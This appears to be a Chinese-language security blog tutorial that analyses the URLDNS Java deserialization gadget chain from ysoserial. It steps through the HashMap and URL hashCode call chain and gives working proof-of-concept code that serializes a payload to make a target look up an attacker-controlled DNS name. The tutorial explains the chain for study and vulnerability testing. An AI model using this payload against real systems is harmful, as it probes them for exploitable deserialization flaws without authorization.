ysoserial-URLDNS链

 

介绍

URLDNS链是用来触发DNS请求的,一般用于检测是否存在反序列化漏洞和判断目标主机能否出网.由于用java的内置类构造不依赖其他组件,所以不存在什么限制.

项目地址:https://github.com/frohoff/ysoserial

参数调试

在运行配置中输入参数URL

image-20220607220528381

运行成功

image-20220607220540269

image-20220607220551425

在这里打一个断点(URLStreamHandler)

image-20220607220602974

在调试的过程中,可能会遇到一些情况,走到断点hashcode()的地方,但并不是反序列化.因为在构造的时候,也会去调用hashcode().只要看调用栈里面是否有readObject就好了

image-20220607220618811

分析

HashMap

具体可以参考博客:java之HashMap

简单来说,HashMap通过hashcode对其内容进行快速查找

HashMap重载了readObject函数。

image-20220607220631166

在下图中可以看到,它调用了putVal重新计算了key的hash值

image-20220607220640938

跟进hash,可以看到调用了key的hashcode()(这里是无参)。

image-20220607220652143

如果想要构造反序列化链的话,我们需要找到实现了hashcode函数且传参可控可以被我们利用的类

URLDNS

查看URL类

image-20220607220702594

跟进URLStreamHandler,这里hashCode函数是有传参的,传入的参数是URL u,是可控的。里面是hashcode的实现。

image-20220607220714375

getHostAddress函数进行了DNS查询,将域名转换为实际的ip地址

由代码可以得知,这样做是为了计算hashcode值(一个host可能对应不止一个ip,这里也是为了保证hashcode的唯一性)

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }

URLDNS链(HashMap+URLDNS)

接下来回归主题

源码

public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

            //Avoid DNS resolution during payload creation
            //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
            URLStreamHandler handler = new SilentURLStreamHandler();

            HashMap ht = new HashMap(); // HashMap that will contain the URL
            URL u = new URL(null, url, handler); // URL to use as the Key
            ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

            Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

            return ht;
        }

        public static void main(final String[] args) throws Exception {
            PayloadRunner.run(URLDNS.class, args);
        }

        /**
         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.</p>
         *
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
         */
        static class SilentURLStreamHandler extends URLStreamHandler {

            protected URLConnection openConnection(URL u) throws IOException {
                return null;
            }

            protected synchronized InetAddress getHostAddress(URL u) {
                return null;
            }
        }
}

流程

// 首先通过触发了HashMap的readObject函数,会调用putVal()函数计算hashmap中的key
1. HashMap -> readObject() -> putVal() -> hash(key) 
// 如果传入的key 是一个URL对象
2. key = URL url
// 然后会触发URL对象hashcode()
3. url.hashcode()
// 如果hashcode不为-1,就会调用handler的hashcode,并且传入url
4. url.handler.hashcode(url)
// 在handler的hashcode里面会调用getHostAddress,参数是url
5. getHostAddress(url)
// 最后发起一次dns请求
6. dns请求

调用栈

image-20220607220728954

分析

主要代码

URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url); 
Reflections.setFieldValue(u, "hashCode", -1);

重点关注的就这4行

image-20220607220742146

定位到HashMap的readObject

这里对readObject进行了重载,通过putVal函数,调用了hash(key),计算key的hashcode

image-20220607220753938

跟进hash()

发现调用了key的hashcode(),这里传入的key是一个url对象(ht.put(u, url),u对应key,url对应value)

image-20220607220807850

因此这里就触发了传入url对象的hashcode(),跟进一下

这里有个判断,如果hashCode为-1,则直接返回;不为-1的话,则调用hanlder的hashcode(),这里的this指传入的URL对象.

在前面的代码Reflections.setFieldValue(u, "hashCode", -1);使得hashCode为-1,触发handler.hashCode()

image-20220607220821515

进一步跟进,调用了getHostAddress,通过这个函数来触发DNS请求

image-20220607220837852

POC编写

public class URLDNS {
    public static void getObjec(String url) throws Exception {
        HashMap hashMap = new HashMap();
        URL u = new URL(url);
        hashMap.put(u, url);

        // 序列化路径
        String path = System.getProperty("user.dir") + "/src/main/resources/URLDNS.ser";
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(path));
        objectOutputStream.writeObject(hashMap);
        objectOutputStream.close();

    }

    public static void main(String[] args) throws Exception {
        String sessId = String.valueOf(System.currentTimeMillis());
        String url = "http://"+sessId + ".1.dns.kradress.cn";
        getObjec(url);
    }
}

但是这里有一个问题,在序列化的时候会发送DNS请求。

image-20220607220852879

这时候就理解了ysoserial中这行代码的作用.

SilentURLStreamHandler继承了URLStreamHandler,重写了父类中的openConnectiongetHostAddress方法,使其return null,来防止序列化的时候发送URL请求和DNS查询

public Object getObject(final String url) throws Exception {

    URLStreamHandler handler = new SilentURLStreamHandler();

}

static class SilentURLStreamHandler extends URLStreamHandler {

    protected URLConnection openConnection(URL u) throws IOException {
        return null;
    }

    protected synchronized InetAddress getHostAddress(URL u) {
        return null;
    }
}

还有种方法可以解决这个问题

可以看到只要hashCode不为-1,就不会调用handler.hashCode(),也就不会通过getHostAddress(url)触发dns请求

image-20220607220905732

因为URL中的hashCode是私有的,这里用反射去修改它的值

public class URLDNS {
    public static void getObjec(String url) throws Exception {
        HashMap hashMap = new HashMap();
        URL u = new URL(url);
        // 通过反射获取hashCode变量
        Field hashCode = Class.forName("java.net.URL").getDeclaredField("hashCode");
        // 解除访问限制
        hashCode.setAccessible(true);
        // 随便设一个值,不为-1就行
        hashCode.set(u, 0);
        // hashMap.put(u, url)会执行URL.hashCode(),这时候hashCode不为-1就不会触发handler.hashCode()
        hashMap.put(u, url);
        // 等hashMap.put(u, url)执行完了改回去,使得序列化的时候hashcode为-1
        hashCode.set(u, -1);


        // 序列化路径
        String path = System.getProperty("user.dir") + "/src/main/resources/URLDNS.ser";
        // 序列化
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(path));
        objectOutputStream.writeObject(hashMap);
        objectOutputStream.close();

    }

    public static void main(String[] args) throws Exception {
        String sessId = String.valueOf(System.currentTimeMillis());
        String url = "http://"+sessId + ".1.dns.kradress.cn";
        getObjec(url);
    }
}

这下就不会在序列化的时候触发DNS查询了

image-20220607220919514